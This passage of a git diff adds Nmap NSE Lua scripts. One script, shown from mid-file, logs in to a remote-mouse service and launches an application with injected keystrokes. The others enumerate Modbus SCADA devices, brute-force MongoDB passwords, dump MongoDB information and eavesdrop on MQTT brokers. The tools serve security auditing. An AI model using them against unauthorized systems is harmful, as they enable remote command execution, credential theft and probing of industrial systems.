+ local devid = "0123456789abcdef0123456789abcdef0123456"
+ local devname = "Lord Vaders iPad"
+ local suffix = "2".."\30".."2".."\04"
+ local auth = ("CONNECT\30%s\30%s\30%s\30%s"):format(password, devid, devname, suffix)
+
+ local status = socket:send(auth)
+ if ( not(status) ) then
+ return false, "Failed to send data to server"
+ end
+
+ local status, data = receiveData(socket)
+ if ( not(status) ) then
+ return false, "Failed to receive data from server"
+ end
+
+ local success, os = data:match("^CONNECTED\30([^\30]*)\30([^\30]*)")
+
+ if ( success == "YES" ) then
+ if ( os ~= 'MAC' ) then
+ return false, "Non MAC platform detected, script has only been tested on MAC"
+ end
+ if ( not(socket:send("SETOPTION\30PRESENTATION\30".."1\04")) ) then
+ return false, "Failed to send request to server"
+ end
+ if ( not(socket:send("SETOPTION\30CLIPBOARDSYNC\30".."1\04")) ) then
+ return false, "Failed to send request to server"
+ end
+ return true
+ end
+ return false, "Authentication failed"
+end
+
+local function processSwitchMode(socket, swmode)
+ local m, o, a1, a2, p = swmode:match("^(.-)\30(.-)\30(.-)\30(.-)\30(.-)\04$")
+ if ( m ~= "SWITCHMODE") then
+ stdnse.debug1("Unknown SWITCHMODE: %s %s", m, o)
+ return false, "Failed to parse SWITCHMODE"
+ end
+
+ local str = ("SWITCHED\30%s\30%s\30%s\04"):format(o, a1, a2)
+ local status = socket:send(str)
+ if ( not(status) ) then
+ return false, "Failed to send data to server"
+ end
+ return true
+end
+
+local function executeCmd(socket, app, keys)
+ local exec = ("SENDPROGRAMACTION\30RUN\30%s\04"):format(app)
+ local status = socket:send(exec)
+ if ( not(status) ) then
+ return false, "Failed to send data to server"
+ end
+
+ local status, data = receiveData(socket)
+ if ( not(status) ) then
+ return false, "Failed to receive data from server"
+ end
+
+ if ( arg_delay ) then
+ stdnse.sleep(tonumber(arg_delay))
+ end
+
+ if ( keys ) then
+ local cmd = ("KEYSTRING\30%s\n\04"):format(keys)
+ if ( not(socket:send(cmd)) ) then
+ return false, "Failed to send data to the server"
+ end
+ end
+ return true
+end
+
+local function fail(err) return stdnse.format_output(false, err) end
+
+action = function(host, port)
+
+ local c = creds.Credentials:new(creds.ALL_DATA, host, port)
+ local credentials = c:getCredentials(creds.State.VALID + creds.State.PARAM)()
+ local password = arg_password or (credentials and credentials.pass) or ""
+
+ if ( not(arg_app) ) then
+ return fail(("No application was specified (see %s.application)"):format(SCRIPT_NAME))
+ end
+
+ if ( not(arg_keys) ) then
+ return fail(("No keys were specified (see %s.keys)"):format(SCRIPT_NAME))
+ end
+
+ local socket = nmap.new_socket()
+ socket:set_timeout(10000)
+ local status, err = socket:connect(host, port)
+ if ( not(status) ) then
+ return fail("Failed to connect to server")
+ end
+
+ status, err = authenticate(socket, password)
+ if ( not(status) ) then
+ return fail(err)
+ end
+
+ local data
+ status, data = receiveData(socket, "SWITCHMODE")
+ if ( not(status) ) then
+ return fail("Failed to receive expected response from server")
+ end
+
+ if ( not(processSwitchMode(socket, data)) ) then
+ return fail("Failed to process SWITCHMODE command")
+ end
+
+ if ( not(executeCmd(socket, arg_app, arg_keys)) ) then
+ return fail("Failed to execute application")
+ end
+
+ return ("\n Attempted to start application \"%s\" and sent \"%s\""):format(arg_app, arg_keys)
+end
diff --git a/scripts/modbus-discover.nse b/scripts/modbus-discover.nse
new file mode 100644
index 0000000..ef31947
--- /dev/null
+++ b/scripts/modbus-discover.nse
@@ -0,0 +1,163 @@
+local comm = require "comm"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+Enumerates SCADA Modbus slave ids (sids) and collects their device information.
+
+Modbus is one of the popular SCADA protocols. This script does Modbus device
+information disclosure. It tries to find legal sids (slave ids) of Modbus
+devices and to get additional information about the vendor and firmware. This
+script is improvement of modscan python utility written by Mark Bristow.
+
+Information about MODBUS protocol and security issues:
+* MODBUS application protocol specification: http://www.modbus.org/docs/Modbus_Application_Protocol_V1_1b.pdf
+* Defcon 16 Modscan presentation: https://www.defcon.org/images/defcon-16/dc16-presentations/defcon-16-bristow.pdf
+* Modscan utility is hosted at google code: http://code.google.com/p/modscan/
+]]
+
+---
+-- @usage
+-- nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 <host>
+--
+-- @args aggressive - boolean value defines find all or just first sid
+--
+-- @output
+-- PORT STATE SERVICE
+-- 502/tcp open modbus
+-- | modbus-discover:
+-- | sid 0x64:
+-- | Slave ID data: \xFA\xFFPM710PowerMeter
+-- | Device identification: Schneider Electric PM710 v03.110
+-- | sid 0x96:
+-- |_ error: GATEWAY TARGET DEVICE FAILED TO RESPONSE
+--
+-- @xmloutput
+-- <table key="sid 0x64">
+-- <elem key="Slave ID data">\xFA\xFFPM710PowerMeter</elem>
+-- <elem key="Device identification">Schneider Electric PM710 v03.110</elem>
+-- </table>
+-- <table key="sid 0x96">
+-- <elem key="error">GATEWAY TARGET DEVICE FAILED TO RESPONSE</elem>
+-- </table>
+
+-- Version 0.2 - /12.12.10/ - script cleanup
+-- Version 0.3 - /13.12.10/ - several bugfixes
+
+author = "Alexander Rudakov"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "intrusive"}
+
+
+portrule = shortport.port_or_service(502, "modbus")
+
+local form_rsid = function(sid, functionId, data)
+ local payload_len = 2
+ if ( #data > 0 ) then
+ payload_len = payload_len + #data
+ end
+ return "\0\0\0\0\0" .. string.pack('BBB', payload_len, sid, functionId) .. data
+end
+
+discover_device_id_recursive = function(host, port, sid, start_id, objects_table)
+ local rsid = form_rsid(sid, 0x2B, "\x0E\x01" .. string.pack('B', start_id))
+ local status, result = comm.exchange(host, port, rsid)
+ if ( status and (#result >= 8)) then
+ local ret_code = string.byte(result, 8)
+ if ( ret_code == 0x2B and #result >= 15 ) then
+ local more_follows = string.byte(result, 12)
+ local next_object_id = string.byte(result, 13)
+ local number_of_objects = string.byte(result, 14)
+ stdnse.debug1("more = 0x%x, next_id = 0x%x, obj_number = 0x%x", more_follows, next_object_id, number_of_objects)
+ local offset = 15
+ for i = start_id, (number_of_objects - 1) do
+ local object_id = string.byte(result, offset)
+ local object_len = string.byte(result, offset + 1)
+ -- error data format --
+ if object_len == nil then break end
+ local object_value = string.sub(result, offset + 2, offset + 1 + object_len)
+ stdnse.debug1("Object id = 0x%x, value = %s", object_id, object_value)
+ table.insert(objects_table, object_id + 1, object_value)
+ offset = offset + 2 + object_len
+ end
+ if ( more_follows == 0xFF and next_object_id ~= 0x00 ) then
+ stdnse.debug1("Has more objects")
+ return discover_device_id_recursive(host, port, sid, next_object_id, objects_table)
+ end
+ end
+ end
+ return objects_table
+end
+
+local discover_device_id = function(host, port, sid)
+ return discover_device_id_recursive(host, port, sid, 0x0, {})
+end
+
+local extract_slave_id = function(response)
+ local byte_count = string.byte(response, 9)
+ if ( byte_count == nil or byte_count == 0) then return nil end
+ return string.unpack("c"..byte_count, response, 10)
+end
+
+modbus_exception_codes = {
+ [1] = "ILLEGAL FUNCTION",
+ [2] = "ILLEGAL DATA ADDRESS",
+ [3] = "ILLEGAL DATA VALUE",
+ [4] = "SLAVE DEVICE FAILURE",
+ [5] = "ACKNOWLEDGE",
+ [6] = "SLAVE DEVICE BUSY",
+ [8] = "MEMORY PARITY ERROR",
+ [10] = "GATEWAY PATH UNAVAILABLE",
+ [11] = "GATEWAY TARGET DEVICE FAILED TO RESPOND"
+}
+
+action = function(host, port)
+ -- If false, stop after first sid.
+ local aggressive = stdnse.get_script_args('modbus-discover.aggressive')
+
+ local opts = {request_timeout=2000}
+ local results = stdnse.output_table()
+
+ for sid = 1, 246 do
+ stdnse.debug3("Sending command with sid = %d", sid)
+ local rsid = form_rsid(sid, 0x11, "")
+
+ local status, result = comm.exchange(host, port, rsid, opts)
+ if ( status and (#result >= 8) ) then
+ local ret_code = string.byte(result, 8)
+ if ( ret_code == (0x11) or ret_code == (0x11 + 128) ) then
+ local sid_table = stdnse.output_table()
+ if ret_code == (0x11) then
+ local slave_id = extract_slave_id(result)
+ sid_table["Slave ID data"] = slave_id or "<unknown>"
+ elseif ret_code == (0x11 + 128) then
+ local exception_code = string.byte(result, 9)
+ local exception_string = modbus_exception_codes[exception_code]
+ if ( exception_string == nil ) then
+ exception_string = ("Unknown exception (0x%x)"):format(exception_code)
+ end
+ sid_table["error"] = exception_string
+ end
+
+ local device_table = discover_device_id(host, port, sid)
+ if ( #device_table > 0 ) then
+ sid_table["Device identification"] = table.concat(device_table, " ")
+ end
+ if ( #sid_table > 0 ) then
+ results[("sid 0x%x"):format(sid)] = sid_table
+ end
+ if ( not aggressive ) then break end
+ end
+ end
+ end
+
+ if ( #results > 0 ) then
+ port.state = "open"
+ port.version.name = "modbus"
+ nmap.set_port_version(host, port)
+ return results
+ end
+end
diff --git a/scripts/mongodb-brute.nse b/scripts/mongodb-brute.nse
new file mode 100644
index 0000000..48ce84c
--- /dev/null
+++ b/scripts/mongodb-brute.nse
@@ -0,0 +1,108 @@
+local brute = require "brute"
+local creds = require "creds"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+
+local mongodb = stdnse.silent_require "mongodb"
+
+description = [[
+Performs brute force password auditing against the MongoDB database.
+]]
+
+---
+-- @usage
+-- nmap -p 27017 <ip> --script mongodb-brute
+--
+-- @args mongodb-brute.db Database against which to check. Default: admin
+--
+-- @output
+-- PORT STATE SERVICE
+-- 27017/tcp open mongodb
+-- | mongodb-brute:
+-- | Accounts
+-- | root:Password1 - Valid credentials
+-- | Statistics
+-- |_ Performed 3542 guesses in 9 seconds, average tps: 393
+--
+
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "brute"}
+
+local arg_db = stdnse.get_script_args(SCRIPT_NAME .. ".db") or "admin"
+
+portrule = shortport.port_or_service({27017}, {"mongodb", "mongod"})
+
+Driver = {
+
+ new = function(self, host, port, options)
+ local o = { host = host, port = port, sock = brute.new_socket() }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ connect = function(self)
+ return self.sock:connect(self.host, self.port)
+ end,
+
+ login = function(self, username, password)
+ local status, resp = mongodb.login(self.sock, arg_db, username, password)
+ if ( status ) then
+ return true, creds.Account:new(username, password, creds.State.VALID)
+ elseif ( resp ~= "Authentication failed" ) then
+ local err = brute.Error:new( resp )
+ err:setRetry( true )
+ return false, err
+ end
+ return false, brute.Error:new( "Incorrect password" )
+ end,
+
+ disconnect = function(self)
+ return self.sock:close()
+ end,
+
+}
+
+local function needsAuth(host, port)
+ local socket = nmap.new_socket()
+ local status, result = socket:connect(host, port)
+ if ( not(status) ) then
+ return false, "Failed to connect to server"
+ end
+
+ local packet
+ status, packet = mongodb.listDbQuery()
+ if ( not(status) ) then
+ return false, result
+ end
+
+ --- Send packet
+ status, result = mongodb.query(socket, packet)
+ if ( not(status) ) then
+ return false, result
+ end
+
+ socket:close()
+ if ( status and result.errmsg ) then
+ return true
+ end
+ return false
+end
+
+action = function(host, port)
+
+ if ( not(needsAuth(host, port)) ) then
+ return "No authentication needed"
+ end
+
+ local engine = brute.Engine:new(Driver, host, port )
+
+ engine.options.script_name = SCRIPT_NAME
+ engine.options.firstonly = true
+ local status, result = engine:start()
+
+ return result
+end
diff --git a/scripts/mongodb-databases.nse b/scripts/mongodb-databases.nse
new file mode 100644
index 0000000..fcddd39
--- /dev/null
+++ b/scripts/mongodb-databases.nse
@@ -0,0 +1,100 @@
+local creds = require "creds"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+
+local mongodb = stdnse.silent_require "mongodb"
+
+description = [[
+Attempts to get a list of tables from a MongoDB database.
+]]
+
+---
+-- @usage
+-- nmap -p 27017 --script mongodb-databases <host>
+-- @output
+-- PORT STATE SERVICE REASON
+-- 27017/tcp open unknown syn-ack
+-- | mongodb-databases:
+-- | ok = 1
+-- | databases
+-- | 1
+-- | empty = false
+-- | sizeOnDisk = 83886080
+-- | name = test
+-- | 0
+-- | empty = false
+-- | sizeOnDisk = 83886080
+-- | name = httpstorage
+-- | 3
+-- | empty = true
+-- | sizeOnDisk = 1
+-- | name = local
+-- | 2
+-- | empty = true
+-- | sizeOnDisk = 1
+-- | name = admin
+-- |_ totalSize = 167772160
+
+-- version 0.2
+-- Created 01/12/2010 - v0.1 - created by Martin Holst Swende <martin@swende.se>
+-- Revised 01/03/2012 - v0.2 - added authentication support <patrik@cqure.net>
+
+author = "Martin Holst Swende"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"default", "discovery", "safe"}
+
+dependencies = {"mongodb-brute"}
+
+
+portrule = shortport.port_or_service({27017}, {"mongodb", "mongod"})
+
+function action(host,port)
+
+ local socket = nmap.new_socket()
+
+ -- set a reasonable timeout value
+ socket:set_timeout(10000)
+ -- do some exception / cleanup
+ local catch = function()
+ socket:close()
+ end
+
+ local try = nmap.new_try(catch)
+
+ try( socket:connect(host, port) )
+
+ -- ugliness to allow creds.mongodb to work, as the port is not recognized
+ -- as mongodb, unless a service scan was run
+ local ps = port.service
+ port.service = 'mongodb'
+ local c = creds.Credentials:new(creds.ALL_DATA, host, port)
+ for cred in c:getCredentials(creds.State.VALID + creds.State.PARAM) do
+ local status, err = mongodb.login(socket, "admin", cred.user, cred.pass)
+ if ( not(status) ) then
+ return err
+ end
+ end
+ port.service = ps
+
+ local req, result, packet, err, status
+ --Build packet
+ status, packet = mongodb.listDbQuery()
+ if not status then return result end-- Error message
+
+ --- Send packet
+ status, result = mongodb.query(socket, packet)
+ if not status then return result end-- Error message
+
+ port.version.name ='mongodb'
+ port.version.product='MongoDB'
+ nmap.set_port_version(host,port)
+
+ local output = mongodb.queryResultToTable(result)
+ if err ~= nil then
+ stdnse.log_error(err)
+ end
+ if result ~= nil then
+ return stdnse.format_output(true, output )
+ end
+end
diff --git a/scripts/mongodb-info.nse b/scripts/mongodb-info.nse
new file mode 100644
index 0000000..931f667
--- /dev/null
+++ b/scripts/mongodb-info.nse
@@ -0,0 +1,132 @@
+local creds = require "creds"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+
+local mongodb = stdnse.silent_require "mongodb"
+
+description = [[
+Attempts to get build info and server status from a MongoDB database.
+]]
+
+---
+-- @usage
+-- nmap -p 27017 --script mongodb-info <host>
+--
+-- @args mongodb-info.db Database to check. Default: admin
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 27017/tcp open unknown syn-ack
+-- | mongodb-info:
+-- | MongoDB Build info
+-- | ok = 1
+-- | bits = 64
+-- | version = 1.3.1-
+-- | gitVersion = d1f0ffe23bcd667f4ed18a27b5fd31a0beab5535
+-- | sysInfo = Linux domU-12-31-39-06-79-A1 2.6.21.7-2.ec2.v1.2.fc8xen #1 SMP Fri Nov 20 17:48:28 EST 2009 x86_64 BOOST_LIB_VERSION=1_41
+-- | Server status
+-- | opcounters
+-- | delete = 0
+-- | insert = 3
+-- | getmore = 0
+-- | update = 0
+-- | query = 10
+-- | connections
+-- | available = 19999
+-- | current = 1
+-- | uptime = 747
+-- | mem
+-- | resident = 9
+-- | virtual = 210
+-- | supported = true
+-- | mapped = 80
+-- | ok = 1
+-- | globalLock
+-- | ratio = 0.010762343463949
+-- | lockTime = 8037112
+-- | totalTime = 746780850
+-- | extra_info
+-- | heap_usage_bytes = 117120
+-- | note = fields vary by platform
+-- |_ page_faults = 0
+
+-- version 0.3
+-- Created 01/12/2010 - v0.1 - created by Martin Holst Swende <martin@swende.se>
+-- Revised 01/03/2012 - v0.3 - added authentication support <patrik@cqure.net>
+
+
+author = "Martin Holst Swende"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"default", "discovery", "safe"}
+
+dependencies = {"mongodb-brute"}
+
+
+local arg_db = stdnse.get_script_args(SCRIPT_NAME .. ".db") or "admin"
+
+portrule = shortport.port_or_service({27017}, {"mongodb", "mongod"})
+
+function action(host,port)
+
+ local socket = nmap.new_socket()
+
+ -- set a reasonable timeout value
+ socket:set_timeout(10000)
+ -- do some exception / cleanup
+ local catch = function()
+ socket:close()
+ end
+
+ local try = nmap.new_try(catch)
+
+ try( socket:connect(host, port) )
+
+ local req, statusresponse, buildinfo, err
+
+ -- ugliness to allow creds.mongodb to work, as the port is not recognized
+ -- as mongodb, unless a service scan was run
+ local ps = port.service
+ port.service = 'mongodb'
+ local c = creds.Credentials:new(creds.ALL_DATA, host, port)
+ for cred in c:getCredentials(creds.State.VALID + creds.State.PARAM) do
+ local status, err = mongodb.login(socket, arg_db, cred.user, cred.pass)
+ if ( not(status) ) then
+ return err
+ end
+ end
+ port.service = ps
+
+ local status, packet = mongodb.serverStatusQuery()
+ if not status then return packet end
+
+ local statQResult, buildQResult
+ status,statQResult = mongodb.query(socket, packet)
+
+ if not status then return statQResult end
+
+ port.version.name ='mongodb'
+ port.version.product='MongoDB'
+ port.version.name_confidence = 10
+ nmap.set_port_version(host,port)
+
+ status, packet = mongodb.buildInfoQuery()
+ if not status then return packet end
+
+ status, buildQResult = mongodb.query(socket,packet )
+
+ if not status then
+ stdnse.log_error(buildQResult)
+ return buildQResult
+ end
+
+ local versionNumber = buildQResult['version']
+ port.version.product='MongoDB '..versionNumber
+ nmap.set_port_version(host,port)
+
+ local stat_out = mongodb.queryResultToTable(statQResult)
+ local build_out = mongodb.queryResultToTable(buildQResult)
+ local output = {"MongoDB Build info",build_out,"Server status",stat_out}
+
+ return stdnse.format_output(true, output )
+end
diff --git a/scripts/mqtt-subscribe.nse b/scripts/mqtt-subscribe.nse
new file mode 100644
index 0000000..43b48e5
--- /dev/null
+++ b/scripts/mqtt-subscribe.nse
@@ -0,0 +1,393 @@
+local mqtt = require "mqtt"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local table = require "table"
+
+description = [[
+Dumps message traffic from MQTT brokers.
+
+This script establishes a connection to an MQTT broker and subscribes
+to the requested topics. The default topics have been chosen to
+receive system information and all messages from other clients. This
+allows Nmap, to listen to all messages being published by clients to
+the MQTT broker.
+
+For additional information:
+* https://en.wikipedia.org/wiki/MQTT
+* https://docs.oasis-open.org/mqtt/mqtt/v3.1.1/os/mqtt-v3.1.1-os.html
+]]
+
+---
+-- @usage nmap -p 1883 --script mqtt-subscribe <target>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 1883/tcp open mosquitto version 1.4.8 syn-ack
+-- | mqtt-subscribe:
+-- | Topics and their most recent payloads:
+-- | $SYS/broker/load/publish/received/5min: 0.27
+-- | $SYS/broker/publish/messages/received: 7
+-- | $SYS/broker/heap/current: 39240
+-- | $SYS/broker/load/messages/sent/15min: 21.54
+-- | $SYS/broker/load/bytes/sent/5min: 647.13
+-- | $SYS/broker/clients/disconnected: 40
+-- | $SYS/broker/clients/connected: 1
+-- | $SYS/broker/subscriptions/count: 40
+-- | $SYS/broker/load/publish/received/15min: 0.46
+-- | $SYS/broker/clients/inactive: 40
+-- | $SYS/broker/messages/sent: 2318
+-- | $SYS/broker/load/publish/sent/1min: 2.48
+-- | $SYS/broker/load/sockets/1min: 0.09
+-- | $SYS/broker/load/connections/15min: 0.41
+-- | $SYS/broker/load/bytes/sent/15min: 822.79
+-- | $SYS/broker/load/sockets/15min: 0.81
+-- | $SYS/broker/version: mosquitto version 1.4.8
+-- | $SYS/broker/load/messages/received/5min: 1.24
+-- | $SYS/broker/load/publish/sent/15min: 20.39
+-- | $SYS/broker/uptime: 225478 seconds
+-- | $SYS/broker/load/publish/received/1min: 0.05
+-- | $SYS/broker/publish/messages/dropped: 0
+-- | $SYS/broker/retained messages/count: 47
+-- | $SYS/broker/messages/received: 293
+-- | $SYS/broker/load/connections/5min: 0.28
+-- | $SYS/broker/load/messages/sent/1min: 2.78
+-- | $SYS/broker/bytes/sent: 83026
+-- | $SYS/broker/load/bytes/received/5min: 13.98
+-- | $SYS/broker/load/messages/received/1min: 0.35
+-- | $SYS/broker/messages/stored: 47
+-- | $SYS/broker/publish/messages/sent: 2070
+-- | $SYS/broker/load/sockets/5min: 0.53
+-- | $SYS/broker/clients/active: 1
+-- | $SYS/broker/timestamp: Sun, 14 Feb 2016 15:48:26 +0000
+-- | $SYS/broker/load/bytes/received/15min: 17.83
+-- | $SYS/broker/publish/bytes/received: 49
+-- | $SYS/broker/load/publish/sent/5min: 16.03
+-- | $SYS/broker/publish/bytes/sent: 9752
+-- | $SYS/broker/load/bytes/sent/1min: 100.49
+-- | $SYS/broker/load/bytes/received/1min: 2.72
+-- | $SYS/broker/load/connections/1min: 0.06
+-- | $SYS/broker/clients/expired: 0
+-- | $SYS/broker/load/messages/received/15min: 1.49
+-- | $SYS/broker/load/messages/sent/5min: 17.00
+-- | $SYS/broker/bytes/received: 2520
+-- | $SYS/broker/heap/maximum: 41992
+-- |_ $SYS/broker/clients/total: 41
+--
+-- @xmloutput
+-- <table key="Topics and their most recent payloads">
+-- <elem key="$SYS/broker/load/messages/sent/15min">23.48</elem>
+-- <elem key="$SYS/broker/bytes/received">2469</elem>
+-- <elem key="$SYS/broker/load/sockets/5min">0.63</elem>
+-- <elem key="$SYS/broker/messages/sent">2268</elem>
+-- <elem key="$SYS/broker/load/publish/sent/15min">22.25</elem>
+-- <elem key="$SYS/broker/load/publish/received/1min">0.05</elem>
+-- <elem key="$SYS/broker/load/bytes/sent/1min">626.45</elem>
+-- <elem key="$SYS/broker/publish/messages/received">7</elem>
+-- <elem key="$SYS/broker/load/connections/15min">0.39</elem>
+-- <elem key="$SYS/broker/heap/current">38864</elem>
+-- <elem key="$SYS/broker/load/sockets/1min">0.36</elem>
+-- <elem key="$SYS/broker/messages/stored">47</elem>
+-- <elem key="$SYS/broker/load/bytes/sent/15min">897.46</elem>
+-- <elem key="$SYS/broker/version">mosquitto version 1.4.8</elem>
+-- <elem key="$SYS/broker/clients/inactive">39</elem>
+-- <elem key="$SYS/broker/subscriptions/count">39</elem>
+-- <elem key="$SYS/broker/timestamp">Sun, 14 Feb 2016 15:48:26 +0000</elem>
+-- <elem key="$SYS/broker/uptime">225280 seconds</elem>
+-- <elem key="$SYS/broker/publish/bytes/sent">9520</elem>
+-- <elem key="$SYS/broker/publish/messages/sent">2023</elem>
+-- <elem key="$SYS/broker/load/bytes/received/1min">10.58</elem>
+-- <elem key="$SYS/broker/load/connections/5min">0.31</elem>
+-- <elem key="$SYS/broker/load/messages/received/15min">1.58</elem>
+-- <elem key="$SYS/broker/publish/messages/dropped">0</elem>
+-- <elem key="$SYS/broker/clients/connected">1</elem>
+-- <elem key="$SYS/broker/load/messages/received/5min">1.51</elem>
+-- <elem key="$SYS/broker/retained messages/count">47</elem>
+-- <elem key="$SYS/broker/load/bytes/received/15min">18.78</elem>
+-- <elem key="$SYS/broker/messages/received">289</elem>
+-- <elem key="$SYS/broker/clients/disconnected">39</elem>
+-- <elem key="$SYS/broker/load/publish/received/15min">0.46</elem>
+-- <elem key="$SYS/broker/load/sockets/15min">0.82</elem>
+-- <elem key="$SYS/broker/load/publish/sent/5min">21.44</elem>
+-- <elem key="$SYS/broker/bytes/sent">81121</elem>
+-- <elem key="$SYS/broker/publish/bytes/received">49</elem>
+-- <elem key="$SYS/broker/load/connections/1min">0.18</elem>
+-- <elem key="$SYS/broker/load/messages/received/1min">1.45</elem>
+-- <elem key="$SYS/broker/clients/expired">0</elem>
+-- <elem key="$SYS/broker/load/publish/received/5min">0.27</elem>
+-- <elem key="$SYS/broker/load/messages/sent/5min">22.63</elem>
+-- <elem key="$SYS/broker/load/bytes/received/5min">16.53</elem>
+-- <elem key="$SYS/broker/load/messages/sent/1min">16.80</elem>
+-- <elem key="$SYS/broker/clients/total">40</elem>
+-- <elem key="$SYS/broker/clients/active">1</elem>
+-- <elem key="$SYS/broker/load/publish/sent/1min">15.57</elem>
+-- <elem key="$SYS/broker/load/bytes/sent/5min">863.85</elem>
+-- <elem key="$SYS/broker/heap/maximum">41992</elem>
+-- </table>
+--
+-- @args mqtt-subscribe.client-id MQTT client identifier, defaults to
+-- <code>nmap</code> with a random suffix.
+-- @args mqtt-subscribe.listen-msgs Number of PUBLISH messages to
+-- receive, defaults to 100. A value of zero forces this script
+-- to stop only when listen-time has passed.
+-- @args mqtt-subscribe.listen-time Length of time to listen for
+-- PUBLISH messages, defaults to 5s. A value of zero forces this
+-- script to stop only when listen-msgs PUBLISH messages have
+-- been received.
+-- @args mqtt-subscribe.password Password for MQTT brokers requiring
+-- authentication.
+-- @args mqtt-subscribe.protocol-level MQTT protocol level, defaults
+-- to 4.
+-- @args mqtt-subscribe.protocol-name MQTT protocol name, defaults to
+-- <code>MQTT</code>.
+-- @args mqtt-subscribe.topic Topic filters to indicate which PUBLISH
+-- messages we'd like to receive.
+-- @args mqtt-subscribe.username Username for MQTT brokers requiring
+-- authentication.
+
+author = "Mak Kolybabi <mak@kolybabi.com>"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"safe", "discovery", "version"}
+
+portrule = shortport.version_port_or_service({1883, 8883}, {"mqtt", "secure-mqtt"}, "tcp")
+
+local function parse_args()
+ local args = {}
+
+ local protocol_level = stdnse.get_script_args(SCRIPT_NAME .. '.protocol-level')
+ if protocol_level then
+ -- Sanity check the value from the user.
+ protocol_level = tonumber(protocol_level)
+ if type(protocol_level) ~= "number" then
+ return false, "protocol-level argument must be a number."
+ elseif protocol_level < 0 or protocol_level > 255 then
+ return false, "protocol-level argument must be in range between 0 and 255 inclusive."
+ end
+ else
+ -- Indicate to the library that it should choose this on its own.
+ protocol_level = false
+ end
+ args.protocol_level = protocol_level
+
+ local protocol_name = stdnse.get_script_args(SCRIPT_NAME .. '.protocol-name')
+ if protocol_name then
+ -- Sanity check the value from the user.
+ if type(protocol_name) ~= "string" then
+ return false, "protocol-name argument must be a string."
+ end
+ else
+ -- Indicate to the library that it can choose this on its own.
+ protocol_name = false
+ end
+ args.protocol_name = protocol_name
+
+ local client_id = stdnse.get_script_args(SCRIPT_NAME .. '.client-id')
+ if not client_id then
+ -- Indicate to the library that it should choose this on its own.
+ client_id = false
+ end
+ args.client_id = client_id
+
+ local max_msgs = stdnse.get_script_args(SCRIPT_NAME .. '.listen-msgs')
+ if max_msgs then
+ -- Sanity check the value from the user.
+ max_msgs = tonumber(max_msgs)
+ if type(max_msgs) ~= "number" then
+ return false, "listen-msgs argument must be a number."
+ elseif max_msgs < 0 then
+ return false, "listen-msgs argument must be non-negative."
+ end
+ else
+ -- Many brokers have ~50 $SYS/# messages, so we double that number
+ -- for how many messages we'll receive.
+ max_msgs = 100
+ end
+ args.max_msgs = max_msgs
+
+ local max_time = stdnse.get_script_args(SCRIPT_NAME .. '.listen-time')
+ if max_time then
+ -- Convert the time specification from the CLI to seconds.
+ local err
+ max_time, err = stdnse.parse_timespec(max_time)
+ if not max_time then
+ return false, ("Unable to parse listen-time: %s"):format(err)
+ elseif max_time < 0 then
+ return false, "listen-time argument must be non-negative."
+ elseif args.max_msgs == 0 and max_time == 0 then
+ return false, "listen-time and listen-msgs may not both be zero."
+ end
+ else
+ max_time = 5
+ end
+ args.max_time = max_time
+
+ local username = stdnse.get_script_args(SCRIPT_NAME .. '.username')
+ if not username then
+ username = false
+ end
+ args.username = username
+
+ local password = stdnse.get_script_args(SCRIPT_NAME .. '.password')
+ if password then
+ -- Sanity check the value from the user.
+ if not username then
+ return false, "A password cannot be given without also giving a username."
+ end
+ else
+ password = false
+ end
+ args.password = password
+
+ local topic = stdnse.get_script_args(SCRIPT_NAME .. '.topic')
+ if topic then
+ -- Sanity check the value from the user.
+ if type(topic) ~= "table" then
+ topic = {topic}
+ end
+ else
+ -- These topic filters should receive most messages.
+ topic = {"$SYS/#", "#"}
+ end
+ args.topic = topic
+
+ return true, args
+end
+
+action = function(host, port)
+ local output = stdnse.output_table()
+
+ -- Parse and sanity check the command line arguments.
+ local status, options = parse_args()
+ if not status then
+ output.ERROR = options
+ return output, output.ERROR
+ end
+
+ -- Create an instance of the MQTT library's client object.
+ local helper = mqtt.Helper:new(host, port)
+
+ -- Connect to the MQTT broker.
+ local status, response = helper:connect({
+ ["protocol_level"] = options.protocol_level,
+ ["protocol_name"] = options.protocol_name,
+ ["client_id"] = options.client_id,
+ ["username"] = options.username,
+ ["password"] = options.password,
+ })
+ if not status then
+ output.ERROR = response
+ return output, output.ERROR
+ elseif response.type ~= "CONNACK" then
+ output.ERROR = ("Received control packet type '%s' instead of 'CONNACK'."):format(response.type)
+ return output, output.ERROR
+ elseif not response.accepted then
+ output.ERROR = ("Connection rejected: %s"):format(response.reason)
+ return output, output.ERROR
+ end
+
+ -- Build a list of topic filters.
+ local filters = {}
+ for _, filter in ipairs(options.topic) do
+ table.insert(filters, {["filter"] = filter})
+ end
+
+ -- Subscribe to receive PUBLISH messages that match our topic
+ -- filters.The MQTT standard allows sending PUBLISH messages before
+ -- the SUBACK message, so we explicitly ignore any non-CONNACK
+ -- messages at this point.
+ local status, response = helper:request("SUBSCRIBE", {["filters"] = filters}, "SUBACK")
+ if not status then
+ output.ERROR = response
+ return output, output.ERROR
+ end
+
+ -- For each topic to which we tried to subscribe, the MQTT broker
+ -- informs us whether we were successful. We will note if any
+ -- subscriptions fail, but continue so long as any succeeded.
+ local success = false
+ local results = response.filters
+ for i, result in ipairs(results) do
+ local topic = options.topic[i]
+ if result.success then
+ stdnse.debug3("Topic filter '%s' was accepted with a maximum QoS of %d.", topic, result.max_qos)
+ success = true
+ else
+ stdnse.debug3("Topic filter '%s' was rejected.", topic)
+ end
+ end
+
+ if not success then
+ output.ERROR = "Every topic filter was rejected."
+ return output, output.ERROR
+ end
+
+ -- We are now in a position to receive PUBLISH messages for at least
